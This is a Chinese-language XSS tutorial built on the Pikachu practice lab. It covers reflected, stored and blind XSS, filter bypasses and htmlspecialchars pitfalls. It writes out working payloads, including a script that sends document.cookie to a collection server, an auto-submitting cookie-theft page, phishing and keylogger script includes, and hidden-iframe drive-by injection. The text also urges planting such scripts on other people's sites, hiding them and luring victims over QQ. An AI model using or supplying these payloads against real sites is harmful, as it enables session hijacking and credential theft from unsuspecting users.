XSS攻防解析
0x01. 平台搭建
依然是以最熟悉的pikachu平台来搭建我们的靶场环境
1. 安装
http://192.168.18.59:90/pikachu/pkxss/index.php
出现以上画面,pikachu xss后台即为安装成功,基本上是傻瓜式的,你别说你的不行
0x02. 截取cookie
修改cookie.php文件
这个文件的功能是获取你当前用户的指纹信息,然后存到自己的数据库,最后跳转到首页,如果你想在别的网站上
窃取用户的cookie你就搞一个这样的api,同时把xss脚本写到别人的网站上,至于怎么隐藏xss脚本不被发现就看
你自己的本事了
获取cookie的xss脚本
'"><script>document.location = 'http://192.168.18.59:90/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
/#通过document.location 实例进行重定向到http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=
# document.location你可以认为是页面即将要发请求(加载)的地址
# document.cookie当前页面的cookie
简单显示
回车之后会跳转到页面的首页,然后打开我们的后台,可以看到将当前的cookie给获取了
0x03. 获取账号和密码
当你检测到那个页面有xss漏洞,你可以用抓包工具把请求抓下来,然后构造一个html页面,这里以pikachu中的
post.html
分析
这个html文件实现的功能是,首先有一个form表单,提交数据的方式是post,提交的地址是一个指定地址
表单中有一个input输入框,并且这个input框的value值,已经写死了,是一段获取cookie的xss脚本,紧接着是
一个submit提交的文本框,文件中还有一段js脚本,是当窗口页面加载完成就会触发的一个函数,函数的功能是
自动点击submit提交按钮,也就是说当你一打开这个页面,你当前的cookie就会被截获走
当一个用户登录了pikachu,但是你很想知道他的pikachu账号和密码,于是乎你写了一个post.html这样的一个
脚本 , 然后一番伪造用qq发个那个人 , 那个人一在地址栏访问 , 就会把cookie里面的账号和密码发到你的后台,
同时受害者一闪直接跳回pikachu首页 , 没有察觉到什么
http://192.168.18.59:90/pikachu/pkxss/xcookie/post.html
查看后台截获的密码
0x04. 钓鱼
会在提交的页面上弹出一个浏览器端的用户验证,需要输入账号和密码,然后发送到指定的钓鱼网站
在存储型xss中输入以下xss脚本
1111'"><script src="http://192.168.18.59:90/pikachu/pkxss/xfish/fish.php"></script>
当别人点击登录pikachu点击存储型xss的时候就会自动弹出这个对话框,如果已经输入过一次就不会弹出了
查看后台钓鱼情况
0x05. 挂马
也有的人称之为暗链,就是在当前页面挂一个别的网站的链接,一般都会隐藏起来,不让用户发现
每当这个页面加载就会偷偷加载木马页面
简单显示框架挂马
<iframe src="网马的地址" width="0" height="0" frameborder="0"></iframe>
222'">x <iframe src="https://www.baidu.com" width="500" height="5000" frameborder="0"></iframe>
隐藏的话只需要把三个属性的值改为0即可
详细挂马教程请见 :https://blog.csdn.net/cdefu/article/details/4139192/
0x06. 键盘记录
在演示键盘记录前,你需要先掌握什么是跨域和浏览器同源策略
跨域
http://www.oldboyedu.com:80/news/index.php
协议 子域名 主域名 端口 资源地址
当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作
https://www.oldboyedu.com:80
http://www.oldboyedu.com:80
http://vip.oldboyedu.com:80
http://www.oldboyedu.com:80
http://www.oldboyedu.com:80
http://www.oldboyedu.com:82
以上且属于不在一个域里
同源策略
为了安全考虑,所有浏览器都约定了“同源策略”,同源策略禁止页面加载或执行与自身来源不同的域的任何脚本
既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象
那么为什么要有同源策略? 比如一个恶意网站的页面通过js嵌入了银行的登录页面(二者不同源),如果没有同
源限制,恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码。
Tips:下面这些标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的
<script src="..."> //加载本地js执行
<img src="..."> //图片
<link href="..."> //css
<iframe src="..."> //任意资源
同源策略修改
D:\phpStudy\WWW\pikachu\pkxss\rkeypress\rkserver.php
同之前的案例到后台设置好Access-Control-Allow-Origin,设置为*,既允许所有人访问。
接受 控制 允许 域
修改文件
监听键盘的xss脚本
<script src="http://192.168.18.59:90/pikachu/pkxss/rkeypress/rk.js"></script>
rk.js关键代码解读
var realkey = String.fromCharCode(event.keyCode); //获取用户键盘记录,最后转化为字符串
xl+=realkey; //赋值给x1
show(); //调用show涵数,通过下面ajax进行post发送键盘记录人内容
简单演示
4444'"><script src="http://192.168.18.59:90/pikachu/pkxss/rkeypress/rk.js"></script>
测试结果失败
因为谷歌浏览器遵守了w3c规范在XMLHttpRequest不允许设置一些headers,他们会被浏览器自动设置
简单总结一下思路,网站允许跨域,然后js里面偷偷发ajax请求把键盘给记录下来
0x07. xss盲打
XSS盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的情况下,提交恶意JS代码在类似留言板等输
入框后,所展现的后台位置的情况下,网站采用了攻击者插入的恶意代码,当后台管理员在操作时就会触发插入的
恶意代码,从而达到攻击者的目的。
就是攻击者在前端看不到xss攻击的结果,一般插获取cookies/账密的脚本 , 这里就用简单的弹窗演示
1111'"><script>alert(/xxx/)</script>
管理员登录查看http://192.168.18.59:90/pikachu/vul/xss/xssblind/admin.php
xss漏洞可玩性很高的,一般你在可以输入内容的地方都可以把xss攻击写进去,然后搭建一个云服务平台,就写一
个获取cookie的接口,然后保存在数据库中,然后当捕捉到cookie就自动发一个邮件通知
0x08. xss过滤
'"><script>alert(666)</script>
点击提交,发现并没有弹窗,我们打开源代码看看怎么回事,在生产环境中你是看不到源代码的
C:\phpStudy\WWW\pikachu\vul\xss\xss_01.php
发现在源码内部对message接收的数据进行了过滤 , 但是不是绝对的过滤 , 你可以用BP跑一下或者尝试一下其他
的xss攻击,xss攻击不代表只有script,编码啦等等很多,你要知道黑名单永远都是不完全的
"><iframe src="javascRipt:alert(XSS)">
0x09. xss绕过
大多数网站为了避免xss的攻击,对于攻击者的输入都采取了过滤的措施,导致攻击者通常不能正常插入恶意代码来达到攻击目的。但是仍存在一些漏洞可以利用,来绕过过滤措施。
xss绕过的方法有许多,主要取决于攻击者的思路和对前端技术的掌握,以下介绍几个简单的绕过方法。
-
对前端的限制可以尝试进行
抓包重发
或者修改前端的HTML
。 -
防止后台对输入的内容进行正则匹配来过滤输入,对于这样的过滤可以考虑
大小写混合输入
的方法。例:<sCRipT>alert('你打篮球像oldboy')</sCrIPt>
-
防止后台
对输入的内容进行替换
,采用拼凑的输入方法。例:<sc<script>ript>alert('你打篮球像oldboy')</scr<script>ipt> # CTF中出现过这种绕过
-
使用注释
来干扰后台对输入内容的识别。例:<sc<!--test-->ript>alert('你打篮球像oldboy')</scr<!--tshauie-->ipt>
-
编码
思路:后台有可能会对代码中的关键字进行过滤,但我们可以尝试将关键字进行编码后在插入,浏览器对改编
码进行识别时,会翻译成正常的代码。(注意:编码在输出时是否会被正常识别和翻译才是关键,不是所有的
编码都是可以的,常见的有base64,html编码)
<img src=x onerror="alert('yangshuang')"/>
-
使用事件属性
onerror(): <img src=# onerror="alert('oldboy')"/>
0x10. XSS之htmlspecialchars
该函数的语法:
htmlspecialchars(string,flags,character-set,double_encode)
过滤原理:htmlspecialchars() 函数把预定义的字符
转换为 HTML 实体
,从而使XSS攻击失效
。但是这个函
数默认
配置不会将单引号和双引号过滤
,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单
引号
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
’ (单引号)成为'
< (小于)成为 <
>(大于)成为 >
可用的quotestyle类型:
-
ENT_COMPAT - 默认仅编码双引号
-
ENT_QUOTES - 编码双引号和单引号
-
ENT_NOQUOTES - 不编码任何引号
'"><script>alert(666)</script>
没有弹窗,我们查看一下源码是否进行了htmlspecialchars编码
果然是进行了实体编码,但是没有对单引号和双引号过滤而且接收的内容最后传入到了a标签的href属性中,我们
可以用事件进行xss攻击
q' onclick='alert("you are dsb")'
0x11. xss之href
继续利用q' onclick='alert("you are dsb")'
发现并没有弹窗,很有可能是在代码层面把单引号和双引号给过滤掉了
于是打开源码一探究竟
$message=htmlspecialchars($_GET['message'],ENT_QUOTES);
$html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";
果然对单引号和双引号进行了过滤 , 但是message的值最后传递给了a标签的href属性,于是我们可以利用href属
性进行弹窗
javascript:alert(666)
0x12. xss之js
当我们把以上两种方法都测试以后,发现还是不能弹窗,这里就要考虑你输入的数据最终是跑到哪里输出了
考虑是不是在js里面,提交一个正常的查看网站源代码
解决方法:我们可以自己构建一个闭合原来的script标签,然后再拼接一个恶意的script标签
11'</script><script>alert(1111)</script> ;